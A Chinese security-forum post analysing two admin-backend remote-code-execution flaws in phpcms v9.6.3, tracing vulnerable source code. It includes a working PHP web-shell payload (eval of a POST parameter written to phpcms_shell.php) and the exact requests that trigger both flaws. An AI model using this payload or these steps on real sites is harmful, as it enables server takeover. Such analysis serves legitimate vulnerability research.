資源共享吧|易語(yǔ)言論壇|逆向破解教程|輔助開(kāi)發(fā)教程|網(wǎng)絡(luò)安全教程|anzei.cn|我的開(kāi)發(fā)技術(shù)隨記

 找回密碼
 注冊(cè)成為正式會(huì)員
查看: 1404|回復(fù): 0
打印 上一主題 下一主題

[網(wǎng)絡(luò)安全/滲透測(cè)試] phpcmsv9.6.3漏洞之后臺(tái)幾處漏洞分析

[復(fù)制鏈接]

184

主題

347

帖子

14

精華

資源共享吧豪華貴族SVIP

Rank: 9Rank: 9Rank: 9

資源幣
18816
積分
3920
貢獻(xiàn)
1368
在線(xiàn)時(shí)間
1084 小時(shí)
注冊(cè)時(shí)間
2015-4-18
最后登錄
2020-2-22

終身成就常駐居民幽默大師灌水大師原創(chuàng)先鋒精華會(huì)員資源共享吧女神宣傳大使愛(ài)心大使

跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2019-5-20 14:33:05 | 只看該作者 |只看大圖 回帖獎(jiǎng)勵(lì) |倒序?yàn)g覽 |閱讀模式
phpcmsv9.6.3漏洞之后臺(tái)GETSHELL

首先全局搜一下調(diào)用include或者require的地方




跟進(jìn)到
if (@file_put_contents($filepath,$str)) {
    ob_start();
    include $filepath;
    $html = ob_get_contents();
    ob_clean();
    @unlink($filepath);
}



往上走


$str = $tpl->template_parse(new_stripslashes($template));


字符串是從這里取出,往上走


$template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';


直接post過(guò)數(shù)據(jù)來(lái),沒(méi)經(jīng)過(guò)任何處理,那么只要構(gòu)造一下傳過(guò)惡意數(shù)據(jù)來(lái)即可。
首先向
http://www.test.com/phpcms/install_package/index.php?m=block&c=block_admin&pc_hash=B8mgrw&a=add&pos=1
post:dosubmit=1&name=ac&type=2
然后填入payload
<?php file_put_contents("phpcms_shell.php","<?php eval($_POST[1]);?>");
GETSHELL(二)
另外一個(gè)地方是利用cache處的編譯,因?yàn)闆](méi)有限制模板文件路徑,導(dǎo)致只要有可控的html頁(yè)面,即可到達(dá)include實(shí)現(xiàn)getshell。
首先看modules\admin\category.php處
$setting = $_POST['setting'];
            if($_POST['info']['type']!=2) {
                //欄目生成靜態(tài)配置
                if($setting['ishtml']) {
                    $setting['category_ruleid'] = $_POST['category_html_ruleid'];
                } else {
                    $setting['category_ruleid'] = $_POST['category_php_ruleid'];
                    $_POST['info']['url'] = '';
                }
            }

            //內(nèi)容生成靜態(tài)配置
            if($setting['content_ishtml']) {
                $setting['show_ruleid'] = $_POST['show_html_ruleid'];
            } else {
                $setting['show_ruleid'] = $_POST['show_php_ruleid'];
            }
            if($setting['repeatchargedays']<1) $setting['repeatchargedays'] = 1;
            $_POST['info']['sethtml'] = $setting['create_to_html_root'];
            //die(print_r($setting));
            $_POST['info']['setting'] = array2string($setting);
            die(print_r($_POST['info']));
            $end_str = $old_end =  '<script type="text/javascript">window.top.art.dialog({id:"test"}).close();window.top.art.dialog({id:"test",content:\'<h2>'.L("add_success").'</h2><span style="fotn-size:16px;">'.L("following_operation").'</span><br /><ul style="fotn-size:14px;"><li><a href="?m=admin&c=category&a=public_cache&menuid=43&module=admin" target="right" >'.L("following_operation_1").'</a></li><li><a href="'.HTTP_REFERER.'" target="right">'.L("following_operation_2").'</a></li></ul>\',width:"400",height:"200"});</script>';
            if(!isset($_POST['batch_add']) || empty($_POST['batch_add'])) {
                $catname = CHARSET == 'gbk' ? $_POST['info']['catname'] : iconv('utf-8','gbk',$_POST['info']['catname']);
                $letters = gbk_to_pinyin($catname);
                $_POST['info']['letter'] = strtolower(implode('', $letters));

                $catid = $this->db->insert($_POST['info'], true);
setting信息沒(méi)有經(jīng)過(guò)任何處理直接插入數(shù)據(jù)庫(kù),也就是達(dá)到了上文沒(méi)有限制模板文件路徑。
那么繼續(xù)往下找,setting[page_template]字段既然有入庫(kù)操作,必然有出庫(kù)操作。
全局搜索一下
跟進(jìn)第一處,往下走看到
include template('content',$template);

跟進(jìn)template函數(shù),在libs\functions\globals.func.php,主要代碼如下


$compiledtplfile = PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR.'caches_template'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.php';
    if(file_exists(PC_PATH.'templates'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html')) {
        if(!file_exists($compiledtplfile) || (@filemtime(PC_PATH.'templates'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html') > @filemtime($compiledtplfile))) {
            $template_cache->template_compile($module, $template, $style);
        }
    } else {
        $compiledtplfile = PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR.'caches_template'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.php';
        if(!file_exists($compiledtplfile) || (file_exists(PC_PATH.'templates'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html') && filemtime(PC_PATH.'templates'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html') > filemtime($compiledtplfile))) {
            $template_cache->template_compile($module, $template, 'default');
        } elseif (!file_exists(PC_PATH.'templates'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html')) {
            showmessage('Template does not exist.'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html');
        }
    }



就是一個(gè)編譯的過(guò)程,繼續(xù)跟入template_compile,主要代碼如下
$content = @file_get_contents ( $tplfile );


        $filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR;
        if(!is_dir($filepath)) {
            mkdir($filepath, 0777, true);
        }
        $compiledtplfile = $filepath.$template.'.php';
        $content = $this->template_parse($content);
        $strlen = file_put_contents ( $compiledtplfile, $content );



tpfile=>page_template,然后就是編譯成php的過(guò)程,現(xiàn)在即可到達(dá)include實(shí)現(xiàn)這個(gè)條件也達(dá)成,然后只是去找個(gè)可控的html文件。
可控的html文件比較多,如下



結(jié)合上面



因?yàn)閎urp不方便直接抓包,先提交然后看history




然后找到catid




訪(fǎng)問(wèn)


http://www.test.com/phpcms_v9.6.3_UTF8/install_package/index.php?m=content&c=index&a=lists&catid=15


即可getshell。


回復(fù)

使用道具 舉報(bào)

 點(diǎn)擊右側(cè)快捷回復(fù)  

本版積分規(guī)則

小黑屋|資源共享吧 ( 瓊ICP備2023000410號(hào)-1 )

GMT+8, 2024-10-23 07:35 , Processed in 0.041049 second(s), 14 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回復(fù) 返回頂部 返回列表